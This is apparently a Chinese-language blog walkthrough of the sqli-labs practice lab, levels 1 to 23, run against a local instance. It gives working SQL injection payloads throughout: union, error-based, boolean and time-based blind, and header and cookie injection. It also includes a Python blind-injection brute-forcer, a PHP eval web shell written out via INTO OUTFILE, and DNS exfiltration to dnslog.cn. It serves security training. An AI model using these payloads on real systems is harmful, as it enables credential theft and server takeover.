sqli-labs通关攻略

sqli-labs

less 1—单引号字符型注入

字符型注入,单引号
在这里插入图片描述

网址后面接

?id=1

在这里插入图片描述
正常显示,然后

判断注入点

?id=1' and 1=1--+

将1=1换成1=2,发现没有报错,但不显示信息,说明可以使用字符注入

之后

判断列数

使用order by,从1开始逐渐递增,报错时停止。

?id=1' order by 1--+

由此我们可以确认列数为3(4报错)
在这里插入图片描述

判断数据显示位置

我们地址后输入

?id=0' union select 1,2,3--+

在这里插入图片描述
然后便可以

插入SQL的一些语句去查询更多信息

查找当前使用的数据库的名称

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,database()--+

查询所有的库名

http://127.0.0.1/sqli-labs-master/less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+

查询所有的表名

http://127.0.0.1/sqli-labs-master/less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

查找security数据库的信息

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

查看user表中的列名

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='user'--+

查看user表中的username这一列的值

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(username) from security.users--+

查看user表中的密码这一列的值

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(password) from security.users--+

less 2—整型注入

在这里插入图片描述
我们先

判断注入点

?id=1 and 1=1--+

将1=1换成1=2,不显示信息,不报错。
在这里插入图片描述
接着

判断列数

地址后接

?id=1 order by 1--+

判断数据显示位置

与less1大致相同

判断数据显示位置

与less1大致相同

插入SQL语句查询更多信息

与less1大致相同

less 3—单引号变形字符型注入

在这里插入图片描述
我们查看一下该关卡的源代码可以看到
在这里插入图片描述
这就需要我们注入的时候闭合掉括号

判断注入点

?id=1') and 1=1 --+

在查询其他信息的时候记住
id后面加上’)再添加相应的语句查询

步骤同上

less 4—双引号字符型注入

在这里插入图片描述

判断注入点

将接在id的值的后面的')换成"

http://127.0.0.1/sqli-labs-master/Less-4/?id=1" and 1=2--+

在这里插入图片描述
其他不变

less 5—双注入单引号字符型注入

在这里插入图片描述
我们首先尝试

判断注入点

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and 1=1--+

发现显示
在这里插入图片描述
显示了报错信息,再查看下源代码确定下~
在这里插入图片描述
问题不大,也就是说如果查询语句执行正确,我们会看到

在这里插入图片描述
执行错误则显示错误信息

这里贴一个用来爆破数据库名长度和具体名称的python脚本,测试url也就是靶场的第五关,原理也就是布尔盲注的原理

import requests

def database_len():
    global aa
    for i in range(1, 10):
        url = '''http://127.0.0.1/sqli-labs-master/Less-5/index.php'''
        payload = '''?id=1' and length(database())>%s''' % i
        # print(url+payload+'%23')
        r = requests.get(url + payload + '%23')
        if 'You are in' in r.text:
            print(i)
            continue
        else:
            # print('false')
            print('database_length:', i)
            aa = i
            break
def database_name():
    global aa
    name = ''
    for j in range(1, aa+1):
        for i in 'sqcwertyuioplkjhgfdazxvbnm':
            url = "http://127.0.0.1/sqli-labs-master/Less-5/index.php?id=1' and substr(database(),%d,1)='%s'" % (j, i)
            # print(url+'%23')
            r = requests.get(url + '%23')
            if 'You are in' in r.text:
                name = name + i

                print(name)

                break
    print('database_name:', name)
if __name__ == "__main__":
    aa = 0
    database_len()
    database_name()

因为注入点有报错信息,所以也可以使用报错注入

url后面接:

?id=-1'and(select updatexml(1,concat(0x7E,(select database()),0x7E),1)) --+

即可爆出数据库名
在这里插入图片描述
另外时间盲注也可用于本题

用于判断数据库名的长度的语句

http://localhost/sqli-labs-master/Less-5/?id=1' and if(length(database())=8,sleep(5),sleep(1))--+

在这里插入图片描述

less 6—双注入双引号字符型注入

在这里插入图片描述
看名字也和第五关差不多,将第五关的单引号替换为双引号即可。

http://127.0.0.1/sqli-labs-master/Less-5/?id=1" and 1=1--+

less 7—导出文件字符型注入

在这里插入图片描述

判断注入点

http://localhost/sqli-labs-master/Less-7/?id=1'))--+

判断列数

url后当order by 后的数字等于4时开始报错,所以列数为3

?id=1')) order by 4--+

在这里插入图片描述
然后我们还可以通过文件的读写来上传shell

http://localhost/sqli-labs-master/Less-7/?id=1')) union select 1,'<?php eval($_REQUEST[a]); ?>',3 into outfile 'D://1.php'--+

在这里插入图片描述
用蚁剑或者菜刀连接均可

less 8—布尔型单引号盲注

在这里插入图片描述

判断注入点

http://localhost/sqli-labs-master/Less-8/?id=1' and 1=1--+

在判断列数的时候,输入4,错误无回显

http://localhost/sqli-labs-master/Less-8/?id=1' order by 4--+

在这里插入图片描述
所以报错注入就不适用,可以使用布尔注入和时间注入。具体可看less5
同时,该题也可用dns回显注入(当目标无显示位也无错误回显时便可使用此方法)

dns回显注入

我们用这个网址

http://www.dnslog.cn/

在这里插入图片描述
点击get。。之后产生的网址

1mdsdg.dnslog.cn

于是我们可以构造payload

http://localhost/sqli-labs-master/Less-8/?id=1' and load_file(concat("\\\\",(database()),".2asf57f.dnslog.cn\\1.txt")) --+

在这里插入图片描述

less 9—基于时间的单引号盲注

在这里插入图片描述

判断注入点

http://localhost/sqli-labs-master/Less-9/?id=1' and 1=1 --+

测试后发现,错误语句页面也不变。则可以使用时间盲注,当然同样可以使用DNS回显
在这里插入图片描述

less 10—基于时间的双引号盲注

在这里插入图片描述
将单引号换成双引号就可
可使用时间盲注和DNS回显

less 11—POST型单引号字符型注入

在这里插入图片描述

判断注入点

我们首先尝试Username 为admin'#,密码随便输入,成功进入
在这里插入图片描述
然后还可以在Usename处

判断列数

admin' order by 3 #

在这里插入图片描述

判断数据显示的位置

我们在Usename里输入

as' union select 1,2#

发现选择3时会报错,所以数据的显示就是第一列和第二列

插入SQL查询语句

同less1类似,插入在Usename中

当然,此时也可以使用报错注入

Usename中输入,password随便填写

sa' and updatexml(1,concat(0x5e,(select group_concat(username,0x7e,password) from users),0x5e),1)#

less 12—双引号POST型字符型变形的注入

在这里插入图片描述
同less11类似,不同的是闭合的符号有些不一样
Usename中变为此形式即可

a")

less 13—POST单引号变形双注入

在这里插入图片描述
测试以后的界面

在这里插入图片描述
无回显。我们可以尝试使用报错注入

admin') and extractvalue(1,concat(0x7e,(select database()))) #

然后还可以使用时间盲注

less 14—POST单引号变形双注入

在这里插入图片描述
界面和上一关相同,我们尝试使用报错注入

admin" and extractvalue(1,concat(0x7e,(select database())))#

在这里插入图片描述

less 15—基于bool型/时间延迟单引号POST型盲注

在这里插入图片描述
单引号直接闭合

ads' or 1=1#

在Usename中插入时间盲注语句,简单判断一下数据库的长度

ads' and if(length(database())=8,sleep(5),sleep(1))#

在这里插入图片描述
可以看到时间大于5秒,时间盲注可行

less 16—基于bool型/时间延迟的双引号POST型盲注

在这里插入图片描述
和上一关类似,仅仅需要将单引号改成双引号。

ads" or 1=1#

less 17—基于错误的更新查询POST注入

在这里插入图片描述

我们再查看一下源代码

在这里插入图片描述
可以知道uname参数会被一个函数check_input()包裹
我们尝试寻找函数具体语句

在这里插入图片描述
可以看到使用了get_magic_quotes_gpc()进行过滤。
但是这都是针对Usename的,password没有任何限制。那么我们可以在password进行报错注入

我们在Usename中输入admin

password中输入:

admin' and updatexml(1,concat(0x7e,version(),0x7e),1) --+

less 18—基于错误的用户代理,头部POST注入

在这里插入图片描述
我们直接输入正确的账号和密码试试
在这里插入图片描述
可以看到出现有User Agent回显,所以我们可以抓包,然后再修改User Agent,在其插入SQL语句

'and updatexml(1,concat(0x7e, database(),0x7e),1) and '1'='1

在这里插入图片描述

less 19—Referer POST报错注入

在这里插入图片描述
老规矩,我们用正确的账户测试一下回显的位置
在这里插入图片描述
发现出现了Referer,我们尝试抓包,再修改Referer,语句和上一关一样,只是修改的位置不同。

'and updatexml(1,concat(0x7e, database(),0x7e),1) and '1'='1

在这里插入图片描述

less 20—cookie头部POST注入

在这里插入图片描述
我们输入了正确的账户之后,出现了很多回显。我们再抓登陆的包看一下
在这里插入图片描述

那我们尝试将最后一行行删除,然后修添加cookie

' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1

在这里插入图片描述
成功出现报错回显

less 21—复杂的字符型Cookie注入

同样,我们首先输入正确的账户信息登陆来查看回显
在这里插入图片描述
发现uname的值变成了大小写英文加数字的组合,显然是进行了编码
这里是base64编码

我们抓包试试,然后重复上一关的操作来添加cookie

' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1

我们将这条语句用base64编码,然后再点击Go
在这里插入图片描述

less 22—双引号字符型Cookie注入

在这里插入图片描述
这一关和前两关类似,注入时只要将单引号换成双引号即可

" and updatexml(1,concat(0x7e,database(),0x7e),1) and "1"="1

less 23—基于错误的,过滤注释的GET型

在这里插入图片描述
我们查看一下源代码
在这里插入图片描述
发现本关中将注释符给替换了。SQL语句中我们可以看出这里是单引号字符型注入。
我们构造SQL语句

?id=1'union select 1,2,3 and '1'='1

在这里插入图片描述
然后我们尝试爆库

?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata where 1 and '1'='1

在这里插入图片描述

less 24—二次注入

  • 1
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值